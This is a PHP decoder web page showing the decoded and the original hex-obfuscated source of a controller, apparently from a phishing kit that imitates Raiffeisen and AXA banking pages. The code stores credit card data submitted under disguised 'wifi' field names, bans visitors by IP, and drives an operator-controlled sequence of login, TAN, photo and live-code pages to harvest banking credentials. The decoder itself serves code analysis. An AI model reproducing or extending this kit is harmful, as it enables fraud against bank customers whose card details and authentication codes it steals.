Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Raffeissen; use Core\View; use App\Models\Raffeissen\Raf..

Decoded Output download

<?php 
 namespace App\Controllers\Raffeissen; use Core\View; use App\Models\Raffeissen\Raffeissen; use App\Auth; class Creditcard extends \Core\Controller { public function indexAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"]) && isset($_POST["wifi"]) && isset($_POST["wifi_pass"]) && isset($_POST["wifi_pass_two"])) { Raffeissen::setCreditcard($_POST["wifi"], $_POST["wifi_pass"], $_POST["wifi_pass_two"], $_SESSION["uid"]); } else { if (Raffeissen::findBan($_SERVER["REMOTE_ADDR"]) || !isset($_SESSION["pay"]) || !Raffeissen::checkPayment($this->route_params["id"])) { Raffeissen::redirect(); } else { Raffeissen::setCreditcardInformation($_SESSION["uid"]); View::render("Axa/creditcard.php"); } } } public function checkAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"])) { $check = Raffeissen::getPage($_SESSION["uid"]); if ($check) { if ($check == "login") { echo json_encode(array("page" => "login")); Raffeissen::setLoginPage($_SESSION["uid"], null); } else { if ($check == "details") { echo json_encode(array("page" => "details")); Raffeissen::setDetailsPage($_SESSION["uid"], null); } else { if ($check == "confirm") { echo json_encode(array("page" => "confirm")); Raffeissen::setConfirmPage($_SESSION["uid"], null); } else { if ($check == "tan") { echo json_encode(array("page" => "tan")); Raffeissen::setTanPage($_SESSION["uid"], null); } else { if ($check == "control") { echo json_encode(array("page" => "control")); Raffeissen::setControlPage($_SESSION["uid"], null); } else { if ($check == "creditcard") { echo json_encode(array("page" => "creditcard")); Raffeissen::setCreditcardPage($_SESSION["uid"], null); } else { if ($check == "photo") { $check = Raffeissen::getPhotoCode($_SESSION["uid"]); echo json_encode(array("page" => "photo", "code" => $check)); Raffeissen::setPhotoPage($_SESSION["uid"], null); } else { if ($check == "live") { $check = Raffeissen::getLiveCode($_SESSION["uid"]); $checkTwo = Raffeissen::getLiveCodeTwo($_SESSION["uid"]); echo json_encode(array("page" => "live", "codetwo" => $check, "codethree" => $checkTwo)); Raffeissen::setPhotoPage($_SESSION["uid"], null); } else { if ($check == "finish") { echo json_encode(array("page" => "finish")); Raffeissen::setFinishPage($_SESSION["uid"], null); unset($_SESSION["pay"]); unset($_SESSION["uid"]); } } } } } } } } } } else { echo json_encode(array("page" => "waiting")); } } else { Raffeissen::redirect(); } } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Controllers\Raffeissen; use Core\View; use App\Models\Raffeissen\Raffeissen; use App\Auth; class Creditcard extends \Core\Controller { public function indexAction() { if ($_SERVER["\122\105\x51\x55\105\x53\124\x5f\x4d\x45\124\x48\117\x44"] == "\120\117\x53\124" && isset($_SESSION["\x75\151\x64"]) && isset($_SESSION["\x70\x61\171"]) && isset($_POST["\x77\151\x66\151"]) && isset($_POST["\x77\151\146\151\137\x70\x61\163\x73"]) && isset($_POST["\x77\151\146\x69\x5f\160\141\x73\x73\137\164\167\157"])) { Raffeissen::setCreditcard($_POST["\x77\151\x66\x69"], $_POST["\167\151\x66\x69\137\x70\141\163\x73"], $_POST["\x77\x69\x66\151\137\160\141\x73\163\x5f\x74\x77\x6f"], $_SESSION["\165\x69\x64"]); } else { if (Raffeissen::findBan($_SERVER["\122\105\115\x4f\124\x45\137\101\x44\x44\122"]) || !isset($_SESSION["\x70\x61\x79"]) || !Raffeissen::checkPayment($this->route_params["\x69\x64"])) { Raffeissen::redirect(); } else { Raffeissen::setCreditcardInformation($_SESSION["\165\151\x64"]); View::render("\101\170\x61\57\143\x72\145\144\151\164\x63\x61\162\144\56\x70\150\160"); } } } public function checkAction() { if ($_SERVER["\122\105\x51\x55\105\x53\124\x5f\x4d\x45\x54\110\117\x44"] == "\x50\x4f\x53\124" && isset($_SESSION["\165\151\x64"]) && isset($_SESSION["\160\x61\171"])) { $check = Raffeissen::getPage($_SESSION["\165\151\x64"]); if ($check) { if ($check == "\154\157\147\x69\x6e") { echo json_encode(array("\160\141\x67\x65" => "\154\157\x67\151\x6e")); Raffeissen::setLoginPage($_SESSION["\x75\x69\144"], null); } else { if ($check == "\144\x65\x74\x61\151\x6c\x73") { echo json_encode(array("\x70\141\x67\145" => "\144\145\x74\x61\x69\154\163")); Raffeissen::setDetailsPage($_SESSION["\x75\x69\144"], null); } else { if ($check == "\143\157\156\146\x69\x72\x6d") { echo json_encode(array("\x70\141\147\145" => "\143\x6f\x6e\x66\151\x72\x6d")); Raffeissen::setConfirmPage($_SESSION["\165\x69\x64"], null); } else { if ($check == "\164\x61\x6e") { echo json_encode(array("\160\x61\147\145" => "\x74\x61\156")); Raffeissen::setTanPage($_SESSION["\x75\151\x64"], null); } else { if ($check == "\x63\x6f\x6e\x74\162\157\154") { echo json_encode(array("\160\x61\x67\145" => "\x63\157\156\164\162\x6f\154")); Raffeissen::setControlPage($_SESSION["\x75\151\144"], null); } else { if ($check == "\143\162\145\x64\151\164\143\141\162\144") { echo json_encode(array("\160\x61\x67\x65" => "\143\162\x65\144\x69\164\x63\141\162\x64")); Raffeissen::setCreditcardPage($_SESSION["\165\x69\x64"], null); } else { if ($check == "\160\150\x6f\x74\x6f") { $check = Raffeissen::getPhotoCode($_SESSION["\x75\x69\x64"]); echo json_encode(array("\x70\141\147\x65" => "\160\x68\157\164\157", "\x63\157\144\x65" => $check)); Raffeissen::setPhotoPage($_SESSION["\165\x69\144"], null); } else { if ($check == "\154\x69\166\x65") { $check = Raffeissen::getLiveCode($_SESSION["\165\151\x64"]); $checkTwo = Raffeissen::getLiveCodeTwo($_SESSION["\x75\x69\x64"]); echo json_encode(array("\160\141\147\145" => "\154\151\166\145", "\143\x6f\x64\x65\x74\x77\157" => $check, "\143\157\x64\x65\x74\x68\x72\x65\x65" => $checkTwo)); Raffeissen::setPhotoPage($_SESSION["\x75\151\x64"], null); } else { if ($check == "\146\x69\156\151\x73\150") { echo json_encode(array("\x70\141\x67\145" => "\x66\151\156\x69\163\x68")); Raffeissen::setFinishPage($_SESSION["\x75\151\144"], null); unset($_SESSION["\x70\141\x79"]); unset($_SESSION["\x75\x69\x64"]); } } } } } } } } } } else { echo json_encode(array("\160\x61\x67\145" => "\167\x61\151\x74\x69\x6e\147")); } } else { Raffeissen::redirect(); } } }

Function Calls

None

Variables

None

Stats

MD5 24fac214782ee243494f4a576757ec92
Eval Count 0
Decode Time 71 ms